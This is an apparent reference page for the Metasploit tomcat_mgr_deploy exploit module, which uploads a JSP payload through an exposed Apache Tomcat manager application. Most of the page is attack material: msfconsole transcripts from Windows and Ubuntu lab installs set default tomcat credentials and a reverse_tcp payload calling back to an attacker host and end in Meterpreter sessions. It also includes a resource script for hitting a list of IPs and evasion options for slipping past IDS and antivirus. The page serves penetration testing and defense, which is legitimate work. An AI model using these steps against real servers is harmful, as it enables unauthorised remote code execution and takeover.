Apache Tomcat Manager Application Deployer Authenticated Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/http/tomcat_mgr_deploy metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
- Module Overview
- Knowledge Base
- Documentation Format
- Cleanup
- tomcat_mgr_upload
- Windows (xp sp2)
- Tomcat 6 (6.0.48)
- Setup
- Exploitation
- Tomcat 7 (7.0.73)
- Setup
- text/script Interface Exploitation
- Tomcat 8 (8.0.39)
- Setup
- text/script Interface Exploitation
- Linux
- Tomcat6 (6.0.39) - Ubuntu server 14.04 64bit
- Setup
- Exploit
- Tomcat7 (7.0.68) - Ubuntu server 16.04 64bit
- Setup
- text/script Interface Exploitation
- Tomcat8 (8.0.32) - Ubuntu server 16.04 64bit
- Setup
- text/script Interface Exploitation
- Manual Cleanup
- Msfconsole Usage
- Error Messages
- Related Pull Requests
- References
- See Also
- Authors
- Version
Module Overview
Name: Apache Tomcat Manager Application Deployer Authenticated Code Execution
Module: exploit/multi/http/tomcat_mgr_deploy
Source code: modules/exploits/multi/http/tomcat_mgr_deploy.rb
Disclosure date: 2009-11-09
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Java, Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2009-3548, CVE-2009-3843, CVE-2009-4188, CVE-2009-4189, CVE-2010-0557, CVE-2010-4094
This module can be used to execute a payload on Apache Tomcat servers that have an exposed "manager" application. The payload is uploaded as a WAR archive containing a jsp application using a PUT request. The manager application can also be abused using /manager/html/upload, but that method is not implemented in this module. NOTE: The compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using tomcat_mgr_deploy against a single host
Normally, you can use exploit/multi/http/tomcat_mgr_deploy this way:
msf > use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > show targets
... a list of targets ...
msf exploit(tomcat_mgr_deploy) > set TARGET target-id
msf exploit(tomcat_mgr_deploy) > show options
... show and set options ...
msf exploit(tomcat_mgr_deploy) > exploit
Using tomcat_mgr_deploy against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your tomcat_mgr_deploy will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/tomcat_mgr_deploy")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Documentation Format
This documentation is slightly different from the standard module documentation due to the variation in variables/privileges/versions that can affect how exploitation happens. This documentation is broken down by OS, Tomcat version, then privilege to show exploitation in each variation.
Cleanup
It should be stated outright that the exploit MAY NOT undeploy the shellcode from Tomcat. This can be done manually.
tomcat_mgr_upload
This module is VERY similar to exploit/multi/http/tomcat_mgr_upload, the main difference is this uses a PUT HTTP request, instead of going through a POST HTTP request through the GUI.
Windows (xp sp2)
Tomcat 6 (6.0.48)
Setup
The install was default, other than adding a user during install. No other options were changed. The install assgined the new user the role manager-gui, which is Tomcat 7+ syntax.
For this exploitation, it was changed to simply manager.
Exploitation
Edit
C:\Program Files\Apache Software Foundation\Tomcat 6.0\tomcat-users.xmlto add the following under the<tomcat-users>line:Restart Tomcat service
Exploit:
msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.108 rhost => 192.168.2.108 msf exploit(tomcat_mgr_deploy) > set verbose true verbose => true msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat HttpPassword => tomcat msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat HttpUsername => tomcat msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(tomcat_mgr_deploy) > set target 1 target => 1 msf exploit(tomcat_mgr_deploy) > set rport 8086 rport => 8086 msf exploit(tomcat_mgr_deploy) > set path /manager path => /manager msf exploit(tomcat_mgr_deploy) > check [*] 192.168.2.108:8086 The target appears to be vulnerable. msf exploit(tomcat_mgr_deploy) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using manually select target "Java Universal" [*] Uploading 6071 bytes as scEYoK0.war ... [!] No active DB -- Credential data will not be saved! [*] Executing /scEYoK0/jgj6tWcImjhc7rH2F4TDjCpXG.jsp... [*] Undeploying scEYoK0 ... [*] Sending stage (49409 bytes) to 192.168.2.108 [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.108:1663) at 2017-01-14 14:30:52 -0500 meterpreter > sysinfo Computer : winxp OS : Windows XP 5.1 (x86) Meterpreter : java/windows
Tomcat 7 (7.0.73)
Of note, as of Tomcat 7, the permission role manager has been divided into several sub-roles. Each sub role the user has will change which path variable for exploitation.
Setup
The install was default, other than adding a user during install. No other options were changed.
Of note, the user was given manager-gui permissions by default.
text/script Interface Exploitation
Edit
C:\Program Files\Apache Software Foundation\Tomcat 7.0\tomcat-users.xmlto add the following under the<tomcat-users>line:Restart the service
Exploitation:
msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.108 rhost => 192.168.2.108 msf exploit(tomcat_mgr_deploy) > set path /manager/text path => /manager/text msf exploit(tomcat_mgr_deploy) > set verbose true verbose => true msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat HttpPassword => tomcat msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat HttpUsername => tomcat msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_deploy) > set rport 8087 rport => 8087 msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(tomcat_mgr_deploy) > set target 1 target => 1 msf exploit(tomcat_mgr_deploy) > check [*] 192.168.2.108:8087 The target appears to be vulnerable. msf exploit(tomcat_mgr_deploy) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using manually select target "Java Universal" [*] Uploading 6086 bytes as Cl6t6gurtwIO59zV3Lt6.war ... [!] No active DB -- Credential data will not be saved! [*] Executing /Cl6t6gurtwIO59zV3Lt6/qTIP.jsp... [*] Undeploying Cl6t6gurtwIO59zV3Lt6 ... [*] Sending stage (49409 bytes) to 192.168.2.108 [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.108:1656) at 2017-01-14 14:27:21 -0500 meterpreter > sysinfo Computer : winxp OS : Windows XP 5.1 (x86) Meterpreter : java/windows
Tomcat 8 (8.0.39)
Of note, as of Tomcat 7, the permission role manager has been divided into several sub-roles. Each sub role the user has will change which path variable for exploitation.
Setup
The install was default, other than adding a user during install. No other options were changed.
Of note, the user was given manager-gui permissions by default.
text/script Interface Exploitation
Edit
C:\Program Files\Apache Software Foundation\Tomcat 8.0\tomcat-users.xmlto add the following under the<tomcat-usersline:Restart the service
Exploitation:
msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.108 rhost => 192.168.2.108 msf exploit(tomcat_mgr_deploy) > set rport 8088 rport => 8088 msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat HttpPassword => tomcat msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat HttpUsername => tomcat msf exploit(tomcat_mgr_deploy) > set target 1 target => 1 msf exploit(tomcat_mgr_deploy) > exploit msf exploit(tomcat_mgr_deploy) > set path /manager/text path => /manager/text msf exploit(tomcat_mgr_deploy) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using manually select target "Java Universal" [*] Uploading 6085 bytes as c6TYmkd8YAe8LqKQhSCr.war ... [*] Executing /c6TYmkd8YAe8LqKQhSCr/PtW1uMsYCIFP1gs16PUiwE7oc.jsp... [*] Undeploying c6TYmkd8YAe8LqKQhSCr ... [*] Sending stage (49409 bytes) to 192.168.2.108 [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.108:1196) at 2017-01-14 10:24:52 -0500 meterpreter > sysinfo Computer : winxp OS : Windows XP 5.1 (x86) Meterpreter : java/windows
Linux
Tomcat6 (6.0.39) - Ubuntu server 14.04 64bit
Setup
- Install Tomcat and dependencies:
sudo apt-get install tomcat6 tomcat6-admin
Exploit
Edit
/etc/tomcat6/tomcat-users.xmlto add the following:Restart Tomcat:
sudo service tomcat6 restartExploit:
msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.156 rhost => 192.168.2.156 msf exploit(tomcat_mgr_deploy) > set rport 8080 rport => 8080 msf exploit(tomcat_mgr_deploy) > set verbose true verbose => true msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat HttpUsername => tomcat msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat HttpPassword => tomcat msf exploit(tomcat_mgr_deploy) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_deploy) > set target 3 target => 3 msf exploit(tomcat_mgr_deploy) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using manually select target "Linux x86" [*] Uploading 1545 bytes as 9bj4IYa66cSpdK.war ... [!] No active DB -- Credential data will not be saved! [*] Executing /9bj4IYa66cSpdK/g3Yxbv3.jsp... [*] Transmitting intermediate stager...(106 bytes) [*] Sending stage (335800 bytes) to 192.168.2.156 [*] Undeploying 9bj4IYa66cSpdK ... [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.156:40020) at 2017-01-11 21:18:31 -0500 meterpreter > sysinfo Computer : Ubuntu14.04 OS : Ubuntu 14.04 (Linux 4.2.0-27-generic) Architecture : x64 Meterpreter : x86/linux
Tomcat7 (7.0.68) - Ubuntu server 16.04 64bit
Of note, as of Tomcat 7, the permission role manager has been divided into several sub-roles. Each sub role the user has will change which path variable for exploitation.
Setup
- Install Tomcat and dependencies:
apt-get install tomcat7 tomcat7-admin
text/script Interface Exploitation
Edit
/etc/tomcat7/tomcat-users.xmlto add:Restart Tomcat:
sudo service tomcat7 restart- To verify the permissions are all set correctly, browse to
http://192.168.2.118:8087/manager/text/deploy, and you should seeFAIL - Invalid parameters supplied for command [/deploy]as opposed to403 Access Denied
- To verify the permissions are all set correctly, browse to
Exploit:
msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.118 rhost => 192.168.2.118 msf exploit(tomcat_mgr_deploy) > set rport 8087 rport => 8087 msf exploit(tomcat_mgr_deploy) > set target 3 target => 3 msf exploit(tomcat_mgr_deploy) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat HttpUsername => tomcat msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat HttpPassword => tomcat msf exploit(tomcat_mgr_deploy) > set verbose true verbose => true msf exploit(tomcat_mgr_deploy) > exploit msf exploit(tomcat_mgr_deploy) > set path /manager/text path => /manager/text msf exploit(tomcat_mgr_deploy) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using manually select target "Linux x86" [*] Uploading 1579 bytes as 9QymzSGGU0H4e.war ... [!] No active DB -- Credential data will not be saved! [*] Executing /9QymzSGGU0H4e/Mfz7dGecAsKTjSxfZgBv.jsp... [*] Undeploying 9QymzSGGU0H4e ... [*] Transmitting intermediate stager...(106 bytes) [*] Sending stage (335800 bytes) to 192.168.2.118 [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.118:34294) at 2017-01-08 20:35:24 -0500 meterpreter > sysinfo Computer : 192.168.2.118 OS : Ubuntu 16.04 (Linux 4.4.0-21-generic) Architecture : x64 Meterpreter : x86/linux
Tomcat8 (8.0.32) - Ubuntu server 16.04 64bit
Of note, as of 7, the permission role 'manager' has been divided into several sub-roles. Each sub role the user has will change which path variable for exploitation.
Setup
apt-get install tomcat8 tomcat8-admin
text/script Interface Exploitation
Edit
/etc/tomcat8/tomcat-users.xmlto add:Restart tomcat:
sudo service tomcat8 restart- To verify the permissions are all set correctly, browse to
http://192.168.2.118:8087/manager/text/deploy, and you should seeFAIL - Invalid parameters supplied for command [/deploy]as opposed to403 Access Denied
- To verify the permissions are all set correctly, browse to
Exploit:
msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.118 rhost => 192.168.2.118 msf exploit(tomcat_mgr_deploy) > set rport 8088 rport => 8088 msf exploit(tomcat_mgr_deploy) > set target 3 target => 3 msf exploit(tomcat_mgr_deploy) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_deploy) > set HttpUsername tomcat HttpUsername => tomcat msf exploit(tomcat_mgr_deploy) > set HttpPassword tomcat HttpPassword => tomcat msf exploit(tomcat_mgr_deploy) > set verbose true verbose => true msf exploit(tomcat_mgr_deploy) > set path /manager/text path => /manager/text msf exploit(tomcat_mgr_deploy) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Using manually select target "Linux x86" [*] Uploading 1560 bytes as 9s0fTUyPa2HJCDnod2wEQJ.war ... [!] No active DB -- Credential data will not be saved! [*] Executing /9s0fTUyPa2HJCDnod2wEQJ/ndAfDrUY.jsp... [*] Undeploying 9s0fTUyPa2HJCDnod2wEQJ ... [*] Transmitting intermediate stager...(106 bytes) [*] Sending stage (335800 bytes) to 192.168.2.118 [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.118:33802) at 2017-01-14 11:06:13 -0500 meterpreter > sysinfo Computer : 192.168.2.118 OS : Ubuntu 16.04 (Linux 4.4.0-59-generic) Architecture : x64 Meterpreter : x86/linux
Manual Cleanup
Manual cleanup can be done by logging into the /manager website. From there, click Undeploy within the Application list to remove the malicious app from Tomcat.
Go back to menu.
Msfconsole Usage
Here is how the multi/http/tomcat_mgr_deploy exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/tomcat_mgr_deploy
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_deploy) > show info
Name: Apache Tomcat Manager Application Deployer Authenticated Code Execution
Module: exploit/multi/http/tomcat_mgr_deploy
Platform: Java, Linux, Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2009-11-09
Provided by:
jduck <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
1 Java Universal
2 Windows Universal
3 Linux x86
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The password for the specified username
HttpUsername no The username to authenticate as
PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Description:
This module can be used to execute a payload on Apache Tomcat
servers that have an exposed "manager" application. The payload is
uploaded as a WAR archive containing a jsp application using a PUT
request. The manager application can also be abused using
/manager/html/upload, but that method is not implemented in this
module. NOTE: The compatible payload sets vary based on the selected
target. For example, you must select the Windows target to use
native Windows payloads.
References:
https://nvd.nist.gov/vuln/detail/CVE-2009-3843
OSVDB (60317)
https://nvd.nist.gov/vuln/detail/CVE-2009-4189
OSVDB (60670)
https://nvd.nist.gov/vuln/detail/CVE-2009-4188
http://www.securityfocus.com/bid/38084
https://nvd.nist.gov/vuln/detail/CVE-2010-0557
http://www-01.ibm.com/support/docview.wss?uid=swg21419179
https://nvd.nist.gov/vuln/detail/CVE-2010-4094
http://www.zerodayinitiative.com/advisories/ZDI-10-214
https://nvd.nist.gov/vuln/detail/CVE-2009-3548
OSVDB (60176)
http://www.securityfocus.com/bid/36954
http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html
Module Options
This is a complete list of options available in the multi/http/tomcat_mgr_deploy exploit:
msf6 exploit(multi/http/tomcat_mgr_deploy) > show options
Module options (exploit/multi/http/tomcat_mgr_deploy):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The password for the specified username
HttpUsername no The username to authenticate as
PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/tomcat_mgr_deploy exploit:
msf6 exploit(multi/http/tomcat_mgr_deploy) > show advanced
Module advanced options (exploit/multi/http/tomcat_mgr_deploy):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AESPassword no Password for encrypting communication
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
JavaMeterpreterDebug false no Run the payload in debug mode, with logging enabled
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
Spawn 2 yes Number of subprocesses to spawn
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/tomcat_mgr_deploy module can exploit:
msf6 exploit(multi/http/tomcat_mgr_deploy) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Java Universal
2 Windows Universal
3 Linux x86
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/tomcat_mgr_deploy exploit:
msf6 exploit(multi/http/tomcat_mgr_deploy) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
5 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
6 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
7 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
8 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
9 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
10 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
11 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
12 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
13 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/tomcat_mgr_deploy exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/tomcat_mgr_deploy) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Server rejected the credentials
- Unable to automatically select a target
- Upload failed on <PATH_TMP> [No Response]
- Warning: The web site asked for authentication: <VALUE>
- Upload failed on <PATH_TMP> [<RES.CODE> <RES.MESSAGE>]
- Execution failed on <APP_BASE> [No Response]
- Execution failed on <APP_BASE> [<RES.CODE> <RES.MESSAGE>]
- WARNING: Undeployment failed on <PATH_TMP> [No Response]
- Deletion failed on <PATH_TMP> [<RES.CODE> <RES.MESSAGE>]
- Failed: Error requesting <PATH>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Server rejected the credentials
Here is a relevant code snippet related to the "Server rejected the credentials" error message:
114: def check
115: res = query_serverinfo
116: disconnect
117: return CheckCode::Unknown if res.nil?
118: if (res.code.between?(400, 499))
119: vprint_error("Server rejected the credentials")
120: return CheckCode::Unknown
121: end
122:
123: store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])
124:
Unable to automatically select a target
Here is a relevant code snippet related to the "Unable to automatically select a target" error message:
155: def exploit
156: mytarget = target
157: if (target.name =~ /Automatic/)
158: mytarget = auto_target
159: if (not mytarget)
160: fail_with(Failure::NoTarget, "Unable to automatically select a target")
161: end
162: print_status("Automatically selected target \"#{mytarget.name}\"")
163: else
164: print_status("Using manually select target \"#{mytarget.name}\"")
165: end
Upload failed on <PATH_TMP> [No Response]
Here is a relevant code snippet related to the "Upload failed on <PATH_TMP> [No Response]" error message:
191: 'method' => 'PUT',
192: 'ctype' => 'application/octet-stream',
193: 'data' => war,
194: }, 20)
195: if (! res)
196: fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [No Response]")
197: end
198: if (res.code < 200 or res.code >= 300)
199: case res.code
200: when 401
201: print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
Warning: The web site asked for authentication: <VALUE>
Here is a relevant code snippet related to the "Warning: The web site asked for authentication: <VALUE>" error message:
196: fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [No Response]")
197: end
198: if (res.code < 200 or res.code >= 300)
199: case res.code
200: when 401
